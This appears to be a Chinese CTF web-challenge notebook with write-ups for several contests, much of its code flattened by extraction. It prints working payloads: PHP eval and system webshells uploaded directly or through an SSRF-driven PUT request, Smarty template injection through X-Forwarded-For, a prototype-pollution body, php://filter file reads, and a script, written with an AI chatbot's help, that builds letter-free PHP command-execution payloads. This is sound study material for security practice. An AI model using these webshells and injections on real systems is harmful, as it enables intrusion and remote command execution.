1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /upload.php HTTP/1.1 Host : 127.0.0.1:13280Content-Length : 209sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : */*Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryJHC9baVxiUBdxw4GOrigin : http://127.0.0.1:13280Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1:13280/Accept-Encoding : gzip, deflate, brConnection : keep-alive------WebKitFormBoundaryJHC9baVxiUBdxw4G Content-Disposition: form-data; name="image" ; filename="shell.php" Content-Type: image/png <?php eval ($_POST [shell]);------WebKitFormBoundaryJHC9baVxiUBdxw4G--
传完后蚂蚁直接连
MoeCTF 垫刀之路04: 一个文件浏览器 java站点，直接在url就能目录穿越，然后就是手工找flag。。。
MoeCTF ProveYourLove 根据题目提示传够 300次就行
1 2 3 4 5 6 import requests"nickname" :"mignon" ,"user_gender" :"male" ,"target" :"nm" ,"target_gender" :"male" ,"message" :"flag" ,"anonymous" :"false" }'http://127.0.0.1:42701/questionnaire' for i in range (0 ,300 ):print (qq.text)
Moe CTF 静态网页 点击看板娘，会在bp看到发包并且有个传参，在浏览器访问并且改id=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file ('final1l1l_challenge.php' );error_reporting (0 );include 'flag.php' ;$a = $_GET ['a' ];$b = $_POST ['b' ];if (isset ($a ) && isset ($b )) {if (!is_numeric ($a ) && !is_numeric ($b )) { if ($a == 0 && md5 ($a ) == $b [$a ]) { echo $flag ;else {die ('noooooooooooo' );else {die ( 'Notice the param type!' );else {die ( 'Where is your param?' );
要求 a和b都不是数字
这个绕不过，看到网上有两种解法
1 2 3 4 5 6 7 8 9 10 11 1 :get 输入a ，post 输入b，且两个变量都不是数字，然后a 弱相等等于0 ，md5($a )和b的第$a 个元素弱相等，那其实只要a 第一位数字是字母，md5($a )为经典0 e开头数字，b随便取个0 k就行，构造?a =QNKCDZO,post 输入b=0 k就可以了。得到flag。a ) == $b[$a ]，有的师傅可能认为这是 md5 绕过，并且说绕不过去。其实只要静下来定睛一看就能看出来，这个表达式其实并没有对 a 参数做出任何限制，全是对 b 的限制。所以细看就能知道，我们要求的是 b[a ] 就是 a 的 md5 值。至于如何赋值，请看下文：a =0 a 0 a ]=e99bb33727d338314912e86fbdec87afa 的值丢进中括号就行了。b 的值就是 0 a 的 md5 值。
按照出题的说法试了一下
2019 强网杯 高明的黑客 下源码看了一眼吓哭了，几千个php文件
[BJDCTF2020]The mystery of ip 打开题目发现有flag一栏，点开发现会显示
1 2 3 4 5 6 7 8 9 10 11 GET /flag.php HTTP/1 .1 Host : node5.buuoj.cn:25798 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://node5.buuoj.cn:25798 /index.phpAccept -Encoding: gzip, deflate, brConnection : keep-alive
明明是正常的请求头啊
打开hint看看，里面有说：
想到了是要添加ip，但是忘了该怎么自定义请求ip
1 2 3 4 5 6 7 8 9 10 GET /flag.php HTTP/1 .1 Host : node5.buuoj.cn:25798 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Accept -Encoding: gzip, deflate, brConnection : keep-aliveX -Forwarded-For: 111.111.111.111
成功回显指定ip
算了看wp吧
传了一次传了一次;就再也不能指定ip来回显了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 {{ls }} Your IP is : Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string: {{ls }} " on line 1 " {{ls }} " unknown tag 'ls' <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 1 X-Forwarded-For: {{system (ls )}} Your IP is : bootstrap css flag.php header.php hint.php img index.php jquery libs templates_c templates_c X-Forwarded-For: {{system (ls /)}} Your IP is : <br /> <b > Fatal error</b > : Uncaught --> Smarty Compiler: Syntax error in template " string:{{system (ls /)}} " on line 1 " {{system (ls /)}} " - Unexpected " )" < -- thrown in <b > /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b > on line <b > 1 X-Forwarded-For: {{system ('ls /' )}} Your IP is : bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var var X-Forwarded-For: {{system ('cat /flag' )}} //拿到flag
Flask可能存在Jinjia2模版注入漏洞https://blog.csdn.net/weixin_44037296/article/details/111410565
Mini L-CTF Click and Click 当初没做出来，去西电CTF平台复现
1 2 3 4 but = document .querySelector ("#app > main > div > button" )for (var i = 0 ; i < 10000 ; i++) {click ();
在bp上看到 http 历史记录
1 2 3 4 5 6 什么叫“前后端分离”啊？（战术后仰）if ( req.body .point.amount == 0 || req.body .point.amount == null ) { delete req.body .point.amount }body .point.amount 的值是否是 0 或 null 。body .point.amount 属性。
官方的最终payload：
1 2 3 4 5 6 7 8 9 {"type" : "set" ,"point" : {"amount" : 0 ,"__proto__" : {"amount" : 10000
看官方wp思路，就是set amount为零，触发删除amount
DeepSeek:这个__proto__ 是对象访问原型链的入口，通过它可以直接修改对象的“父对象”（原型）
而我们通过设置__proto__的属性，给他添加一个amount属性，当java查询point的amount属性时因为被删除，所以就会去查询__proto__
与deepseek的对话 我的提问： 我对__proto__的作用不太理解，说明一下啊，我没接触过多少java
AI回复： 已深度思考（用时 22 秒）
好的，用户之前一直在询问关于CTF题目中的原型链污染漏洞，特别是关于__proto__的作用。现在用户提到自己对__proto__的作用不太理解，并且提到没有接触过多少JavaScript，这说明用户可能是一个刚开始学习JavaScript的新手，或者在CTF中遇到了这个概念，但缺乏相关的背景知识。
首先，我需要确认用户的核心问题：理解__proto__在JavaScript中的作用，以及它如何导致原型链污染。用户之前的问题已经涉及到了原型链污染的攻击步骤，但可能对原型链本身的概念还不清楚，尤其是作为JavaScript的新手，需要从基础讲起。
接下来，我需要考虑如何用简单易懂的语言解释原型链和__proto__。用户可能对面向对象编程中的继承概念不太熟悉，或者对JavaScript的原型继承机制感到陌生。因此，需要用类比和具体的例子来帮助理解。
可能的步骤包括：
1. 解释JavaScript中的对象和原型链的基本概念。
2. 说明__proto__属性是什么，以及它如何指向对象的原型。
3. 演示如何通过修改__proto__来影响其他对象，进而导致原型链污染。
4. 结合之前的CTF题目，说明攻击者如何利用这一点。
需要注意的是，用户可能没有接触过构造函数或prototype属性，所以需要避免使用过于专业的术语，或者如果必须使用，要确保有足够的解释。同时，用户可能需要更多的实际例子来理解抽象的概念。
另外，用户之前的对话中提到“没接触过多少java”，这里可能存在笔误，用户可能指的是JavaScript，而不是Java。需要确认这一点，但在上下文中应该是JavaScript，因为讨论的是CTF中的JS漏洞。
在解释过程中，应避免使用复杂的代码示例，或者如果使用代码，要逐行解释其作用。同时，使用比喻或现实中的类比来帮助用户形成直观的理解，比如家族树、继承链等。
还需要强调为什么原型链污染是危险的，以及在实际开发中如何防止这种漏洞。这不仅能帮助用户理解攻击原理，还能增强他们的安全意识。
最后，总结关键点，确保用户能够抓住核心概念，并可能提供进一步的学习资源或练习建议，以巩固理解。
好的！我来用最简单的方式解释 __proto__ 和原型链的概念，即使你完全没接触过 JavaScript 也能理解。我们从“对象”和“继承”这两个核心概念说起。
1. JavaScript中的对象 JavaScript 中几乎所有东西都是对象 （比如数字、字符串、数组等都可以用对象的形式操作）。对象可以理解为一个“盒子”，里面装着属性 （键值对）。例如：
1 2 3 4 5 6 7 8 const cat = {name : "喵喵" ,age : 2 ,say : function (console .log ("喵~" ); }`cat` 对象有属性 `name` 、`age` 和方法 `say()` 。
2. 什么是原型链（Prototype Chain）？ JavaScript 的继承机制是通过原型链 实现的。简单来说：
这种链式查找机制 就是原型链。
3. __proto__ 的作用 __proto__ 是对象的一个隐藏属性 （现在更推荐用 Object.getPrototypeOf() 获取），它直接指向对象的“爸爸”（原型对象）。
举个例子： 1 2 3 4 5 6 7 8 9 const animal = { type : "动物" };const cat = { name : "喵喵" };__proto__ = animal;console .log (cat.type );
4. 原型链污染的原理 假设我们修改了一个对象的“爸爸”（原型对象），那么所有继承这个“爸爸”的对象都会受到影响 ！
污染示例： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 const obj1 = {};const obj2 = {};__proto__ .__proto__ .hacked = "被污染了！" ;console .log (obj2.hacked ); `Object.prototype` 是几乎所有对象的“爷爷”。`obj2` ）都会自动继承 `hacked` 属性。
5. 回到CTF题目中的攻击 题目中的请求数据：
{
"point": {
"amount": 0,
"__proto__": { "amount": 10000 }
}
}
攻击步骤：
设置 amount: 0 ：触发后端代码 delete req.body.point.amount，删除对象自身的 amount。
通过 __proto__ 修改原型 ：将 point 对象的“爸爸”设置为一个包含 amount: 10000 的对象。
继承伪造的 amount ：当后端检查 point.amount 时，由于自身属性被删除，会从“爸爸”那里继承 amount: 10000，从而绕过限制。
6. 类比理解 想象你有一个家族：
你自己 ：有一个钱包（属性），但你把钱包扔了（delete）。
你的爸爸 ：你偷偷修改了爸爸的钱包，往里塞了10000元（通过 __proto__ 修改原型）。
别人检查你的财产 ：发现你没钱包，于是看你爸爸的钱包，认为你有10000元！
总结
__proto__ 是对象访问“爸爸”（原型）的入口。
原型链污染 就是通过修改“爸爸”的属性，影响所有“儿子”对象。
在CTF中，攻击者利用这一点伪造数据，绕过逻辑检查。
这样解释清楚了吗？如果还有疑问，可以随时问我！ 😊
[SWPUCTF 2021 新生赛]hardrce 开局给源码，只看一眼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php header ("Content-Type:text/html;charset=utf-8" );error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['wllm' ]))$wllm = $_GET ['wllm' ];$blacklist = [' ' ,'\t' ,'\r' ,'\n' ,'\+' ,'\[' ,'\^' ,'\]' ,'\"' ,'\-' ,'\$' ,'\*' ,'\?' ,'\<' ,'\>' ,'\=' ,'\`' ,];foreach ($blacklist as $blackitem )if (preg_match ('/' . $blackitem . '/m' , $wllm )) {die ("LTLT说不能用这些奇奇怪怪的符号哦！" );if (preg_match ('/[a-zA-Z]/is' ,$wllm ))die ("Ra's Al Ghul说不能用字母哦！" );echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？" ;eval ($wllm );else echo "蔡总说：注意审题！！！" ;?> 蔡总说：注意审题！！！
这都过滤了啥，给deepseek看看
上网一找，看来这种应该叫做无字母rec，如名字，就是无法传入字母字符啥的https://www.cnblogs.com/pursue-security/p/15404150.html
故叫d导帮写了个脚本来构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import redef generate_neg_payload (s ):for c in s:ord (c)) & 0xFF f"%{neg:02X} " )return '' .join(payload)def parse_command (cmd ):r'^\s*?(\w+?)\s*?\(\s*?[\'"](.*?)[\'"]\s*?\)\s*?;?' match = re.match (pattern, cmd)if not match :raise ValueError("命令格式错误！请使用 function('argument') 格式" )return match .group(1 ), match .group(2 )def main ():input ("请输入PHP命令（示例：system('ls /')：" ).strip()try :f"(~{func_neg} )(~{arg_neg} );" print ("\n生成的取反Payload：" )print (payload)print ("\n使用说明：" )print ("1. 需要目标环境开启短标签支持" )print ("2. 确保PHP版本支持这种调用方式" )print ("3. 实际使用时可能需要URL编码整个payload" )print ("4. 示例最终形式：?code=~%8C%86%8C%8B%9A%92~%93%8C%DF%D0" )except Exception as e:print (f"错误：{str (e)} " )if __name__ == "__main__" :
示例：
1 2 3 4 5 6 7 8 9 10 11 system ('ls' );system ('ls /' );system ('cat /flllllaaaaaaggggggg' );
[SWPUCTF 2022 新生赛]ez_ez_php 开题给源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['file' ])) {if ( substr ($_GET ["file" ], 0 , 3 ) === "php" ) {echo "Nice!!!" ;include ($_GET ["file" ]);else {echo "Hacker!!" ;else {highlight_file (__FILE__ );
源码大概意思是有个substr函数截取file传入参数前3位，所以前3位得是’php’，这直接就是提示伪协议了啊
?file=php://filter/convert.base64-encode/resource=flag.php
1 2 3 NSSCTF{flag_ is _n ot_ here}_f lag_ is _ in _ 'flag'
?file=php://filter/convert.base64-encode/resource=flag
尽然直接访问/flag 就能拿
[GDOUCTF 2023]EZ WEB 打开题目是一个假按钮，扫了一下发现/src有如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import flask@app.route('/' , methods=['GET' ] def index ():return flask.send_file('index.html' )@app.route('/src' , methods=['GET' ] def source ():return flask.send_file('app.py' )@app.route('/super-secret-route-nobody-will-guess' , methods=['PUT' ] def flag ():return open ('flag' ).read()
老规矩，先问d导
1 curl -X PUT http://node5.anna.nssctf.cn:28256/super-secret-route-nobody-will-guess
直接返回flag，行，看看源码
那我猜这可能是一个python后端？
Mini L-CTF miniup 在查看图片处直接查看index.php能得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 <?php $dufs_host = '127.0.0.1' ;$dufs_port = '5000' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['action' ]) && $_POST ['action' ] === 'upload' ) {if (isset ($_FILES ['file' ])) {$file = $_FILES ['file' ];$filename = $file ['name' ];$allowed_extensions = ['jpg' , 'jpeg' , 'png' , 'gif' , 'bmp' , 'webp' ];$file_extension = strtolower (pathinfo ($filename , PATHINFO_EXTENSION));if (!in_array ($file_extension , $allowed_extensions )) {echo json_encode (['success' => false , 'message' => '只允许上传图片文件' ]);exit ;$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode ($filename );$file_content = file_get_contents ($file ['tmp_name' ]);$ch = curl_init ($target_url );curl_setopt ($ch , CURLOPT_CUSTOMREQUEST, 'PUT' );curl_setopt ($ch , CURLOPT_POSTFIELDS, $file_content );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true );curl_setopt ($ch , CURLOPT_HTTPHEADER, ['Host: ' . $dufs_host . ':' . $dufs_port ,'Origin: http://' . $dufs_host . ':' . $dufs_port ,'Referer: http://' . $dufs_host . ':' . $dufs_port . '/' ,'Accept-Encoding: gzip, deflate' ,'Accept: */*' ,'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8' ,'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36' ,'Content-Length: ' . strlen ($file_content )$response = curl_exec ($ch );$http_code = curl_getinfo ($ch , CURLINFO_HTTP_CODE);curl_close ($ch );if ($http_code >= 200 && $http_code < 300 ) {echo json_encode (['success' => true , 'message' => '图片上传成功' ]);else {echo json_encode (['success' => false , 'message' => '图片上传失败，请稍后再试' ]);exit ;else {echo json_encode (['success' => false , 'message' => '未选择图片' ]);exit ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['action' ]) && $_POST ['action' ] === 'search' ) {if (isset ($_POST ['query' ]) && !empty ($_POST ['query' ])) {$search_query = $_POST ['query' ];if (!ctype_alnum ($search_query )) {echo json_encode (['success' => false , 'message' => '只允许输入数字和字母' ]);exit ;$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode ($search_query ) . '&json' ;$ch = curl_init ($search_url );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true );curl_setopt ($ch , CURLOPT_HTTPHEADER, ['Host: ' . $dufs_host . ':' . $dufs_port ,'Accept: */*' ,'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36' $response = curl_exec ($ch );$http_code = curl_getinfo ($ch , CURLINFO_HTTP_CODE);curl_close ($ch );if ($http_code >= 200 && $http_code < 300 ) {$response_data = json_decode ($response , true );if (isset ($response_data ['paths' ]) && is_array ($response_data ['paths' ])) {$image_extensions = ['jpg' , 'jpeg' , 'png' , 'gif' , 'bmp' , 'webp' ];$filtered_paths = [];foreach ($response_data ['paths' ] as $item ) {$file_name = $item ['name' ];$extension = strtolower (pathinfo ($file_name , PATHINFO_EXTENSION));if (in_array ($extension , $image_extensions ) || ($item ['path_type' ] === 'Directory' )) {$filtered_paths [] = $item ;$response_data ['paths' ] = $filtered_paths ;echo json_encode (['success' => true , 'result' => json_encode ($response_data )]);else {echo json_encode (['success' => true , 'result' => $response ]);else {echo json_encode (['success' => false , 'message' => '搜索失败，请稍后再试' ]);exit ;else {echo json_encode (['success' => false , 'message' => '请输入搜索关键词' ]);exit ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['action' ]) && $_POST ['action' ] === 'view' ) {if (isset ($_POST ['filename' ]) && !empty ($_POST ['filename' ])) {$filename = $_POST ['filename' ];$file_content = @file_get_contents ($filename , false , @stream_context_create ($_POST ['options' ]));if ($file_content !== false ) {$base64_image = base64_encode ($file_content );$mime_type = 'image/jpeg' ;echo json_encode (['success' => true , 'is_image' => true ,'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image else {echo json_encode (['success' => false , 'message' => '无法获取图片' ]);exit ;else {echo json_encode (['success' => false , 'message' => '请输入图片路径' ]);exit ;?> "UTF-8" >800 px;0 auto;20 px;30 px;15 px;1 px solid 5 px;0 2 px 5 px rgba (0 ,0 ,0 ,0.1 );0 ;15 px;5 px;"text" ], input[type="file" ] {100 %;8 px;1 px solid 4 px;10 px 15 px;4 px;15 px;10 px;1 px solid 4 px;break -word;10 px;4 px;300 px;class ="section "> <h2 >上传图片</h2 > <form id ="uploadForm " enctype ="multipart /form -data "> <input type ="hidden " name ="action " value ="upload "> <div class ="form -group "> <label for ="file ">选择图片：</label > <input type ="file " id ="file " name ="file " required > <small >支持所有类型的图片</small > </div > <button type ="submit ">上传图片</button > </form > <div id ="uploadResult " class ="result "></div > </div > <div class ="section "> <h2 >搜索图片</h2 > <form id ="searchForm "> <input type ="hidden " name ="action " value ="search "> <div class ="form -group "> <label for ="query ">搜索关键词：</label > <input type ="text " id ="query " name ="query " required pattern ="[a -zA -Z0 -9]+" title ="只允许输入数字和字母" placeholder ="输入图片关键词（仅限数字和字母）"> </div > <button type ="submit ">搜索</button > </form > <div id ="searchResult " class ="result "> <h3 >搜索结果：</h3 > <div id ="searchResultContent "></div > </div > </div > <div class ="section "> <h2 >查看图片</h2 > <form id ="viewForm "> <input type ="hidden " name ="action " value ="view "> <div class ="form -group "> <label for ="filename ">图片路径：</label > <input type ="text " id ="filename " name ="filename " required placeholder ="输入图片路径"> </div > <button type ="submit ">查看图片</button > </form > <div id ="viewResult " class ="result "> <h3 >图片预览：</h3 > <div id ="fileContent "></div > </div > </div > <script > document .getElementById ('uploadForm ').addEventListener ('submit ', function (e ) {preventDefault ();var formData = new FormData (this);fetch ('index.php' , {method : 'POST' ,body : formDatathen (response => response.json ())then (data => {var resultDiv = document.getElementById ('uploadResult' );'block' ;'green' : 'red' ;catch (error => {var resultDiv = document.getElementById ('uploadResult' );'block' ;'上传过程中发生错误' ;'red' ;getElementById ('searchForm' ).addEventListener ('submit' , function(e) {preventDefault ();var searchQuery = document.getElementById ('query' ).value;var alphanumericRegex = /^[a-zA-Z0-9 ]+$/;if (!alphanumericRegex.test (searchQuery)) {var resultDiv = document.getElementById ('searchResult' );'block' ;getElementById ('searchResultContent' ).innerHTML = '<p style="color: red;">只允许输入数字和字母</p>' ;return ;var formData = new FormData (this);fetch ('index.php' , {method : 'POST' ,body : formDatathen (response => response.json ())then (data => {var resultDiv = document.getElementById ('searchResult' );'block' ;if (data.success) {try {var jsonData = JSON.parse (data.result);if (jsonData.paths && jsonData.paths.length > 0 ) {var resultHtml = '<table style="width:100%; border-collapse: collapse;">' ;'<thead><tr style="background-color: #f2f2f2;">' ;'<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>' ;'<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>' ;'<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>' ;'<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>' ;'</tr></thead><tbody>' ;forEach (function(item) {var date = new Date (item.mtime);var formattedDate = date.toLocaleString ();var fileSize = formatFileSize (item.size);'<tr style="border: 1px solid #ddd;">' ;'<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>' ;'<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>' ;'<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>' ;'<td style="padding: 8px; border: 1px solid #ddd;">' ;'<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>' ;'</td></tr>' ;'</tbody></table>' ;getElementById ('searchResultContent' ).innerHTML = resultHtml;else {getElementById ('searchResultContent' ).innerHTML = '<p>没有找到匹配的图片</p>' ;catch (e) {getElementById ('searchResultContent' ).innerHTML = '<p>解析结果时出错</p>' ;else {getElementById ('searchResultContent' ).innerHTML = '<p>错误: ' + data.message + '</p>' ;catch (error => {var resultDiv = document.getElementById ('searchResult' );'block' ;getElementById ('searchResultContent' ).innerHTML = '<p>搜索过程中发生错误</p>' ;getElementById ('viewForm' ).addEventListener ('submit' , function(e) {preventDefault ();var formData = new FormData (this);fetch ('index.php' , {method : 'POST' ,body : formDatathen (response => response.json ())then (data => {var resultDiv = document.getElementById ('viewResult' );'block' ;if (data.success) {var fileContentDiv = document.getElementById ('fileContent' );'' ; var img = document.createElement ('img' );'100%' ;'block' ;'0 auto' ;appendChild (img);else {getElementById ('fileContent' ).textContent = '错误: ' + data.message;catch (error => {error ('错误:' , error);var resultDiv = document.getElementById ('viewResult' );'block' ;getElementById ('fileContent' ).textContent = '获取图片时发生错误' ;function formatFileSize (bytes ) if (bytes === 0 ) return '0 B' ;const k = 1024 ;const sizes = ['B' , 'KB' , 'MB' , 'GB' , 'TB' ];const i = Math.floor (Math.log (bytes) / Math.log (k));return parseFloat ((bytes / Math.pow (k, i)).toFixed (2 )) + ' ' + sizes[i];function viewFile (filename ) getElementById ('filename' ).value = filename;getElementById ('viewForm' ).dispatchEvent (new Event ('submit' ));
当时得到源码后不会做了
赛后看官方解法：
ssrf
index.php在查看图片时使用file_get_contents获取任意文件并且以data:image/jpeg;base64的形式返回，通过这种方式可以尝试读源码 源码中预留了带有dufs的变量名以及上传和搜索的流量特征都可以给选手推测的机会，选手如果运气好遍历到文件甚至可以直接下载到dufs的Linux二进制文件自行进行测试 同时，源码的file_get_contents还预留了options变量，这意味着可以通过此函数进行PUT请求上传任意文件，从而绕过php脚本的限制上传php木马getshell，之后从环境变量获取flag即可
1 $file_content = @file_get_contents ($filename, false , @stream_context_create ($_POST['options' ]))
攻击payload
1 2 3 4 5 6 7 POST /index.php HTTP/1 .1 Content -Type: application/x-www-form-urlencodedHost : localhostUser -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/83 .0 .4103 .116 Safari/537 .36 Content -Length: 9 action =view&filename=http://127.0.0.1:5000 /i.php&options[http][method]=PUT&options[http][content]=%3 C%3 Fphp+echo+getenv%28 %27 FLAG%27 %29 %3 B%3 F%3 E
传入部分url解码内容：
原 http 请求：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 POST /index.php HTTP/1.1 Host : 127.0.0.1:50688Content-Length : 245sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryEFvaPBTZNbCkhtbnsec-ch-ua-mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : */*Origin : http://127.0.0.1:50688Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1:50688/Accept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="action" view Content-Disposition: form-data; name ="filename" index .php
关键利用代码：
1 $file_content = @file_get_contents ($filename , false , @stream_context_create ($_POST ['options' ]));
这段代码会让stream_context_create函数接收post上来的option参数
关键来理解一下这份payload：
1 action=view&filename=http://127.0.0.1:5000/shell.php&options[http][method]=PUT&options[http][content]= <?php system ($_GET ['a' ]);?>
利用view操作来绕过upload操作的waf
options[http][method]=PUT 用途：通过 PHP 的 stream_context_create 函数自定义 HTTP 请求的上下文（Context）。
攻击逻辑：
[method]=PUT：将 HTTP 请求方法从默认的 GET 改为 PUT。
PUT 方法的作用：向服务器上传文件（需目标服务支持，如 dufs 允许 PUT 上传文件）。
为什么重要：通过此参数绕过常规文件上传限制，直接写入文件。
options[http][content]=< ?php system($_GET[‘a’]);? > 用途：设置 HTTP 请求的 Body 内容（即上传的文件内容）。
攻击逻辑：
：一个简短的 PHP Webshell。
system()：执行系统命令。
$_GET[‘a’]：从 URL 参数 a 中接收用户输入的命令。
例如：访问 http://127.0.0.1:5000/shell.php?a=ls 会执行 ls 命令。
关键作用：将恶意代码写入服务器的 shell.php 文件，为后续攻击做准备。
完整攻击流程 1.触发 SSRF
服务器执行 file_get_contents 时，尝试读取 http://127.0.0.1:5000/shell.php
2.上传 Webshell
请求内容为：
1 2 3 4 5 PUT /shell.php HTTP/1.1 Host : 127.0.0.1:5000Content-Length : 27<?php system ($_GET ['a' ]);?>
PUT请求将会将shell.php和其指定内容写入dufs
如果 dufs 允许 PUT 上传，shell.php 会被写入服务器。
所以第一个option用来定义put的http请求，第二个option用来定义http主体
接下来就是蚂蚁连马然后再环境变量里看到flag
stream_context_create stream_context_create 是 PHP 中用于创建流上下文（stream context）的函数，它允许开发者在执行文件、网络或其他流操作时，自定义底层协议的行为（例如设置 HTTP 请求头、修改 FTP 传输模式等）。这个函数在实现复杂网络操作时非常有用，但如果使用不当，也可能引发安全漏洞（如 SSRF、文件上传绕过等）。
数的基本语法:
1 stream_context_create(array $options = ?, array $params = ?): resource
参数：
$options：一个多维数组，用于配置不同协议（如 http、ftp、ssl 等）的行为。
$params（可选）：设置上下文参数（如超时时间）。
返回值：返回一个流上下文资源，可传递给其他流操作函数（如 file_get_contents、fopen）。
[SWPUCTF 2021 新生赛]easyupload3.0 传正常图片，得到路径
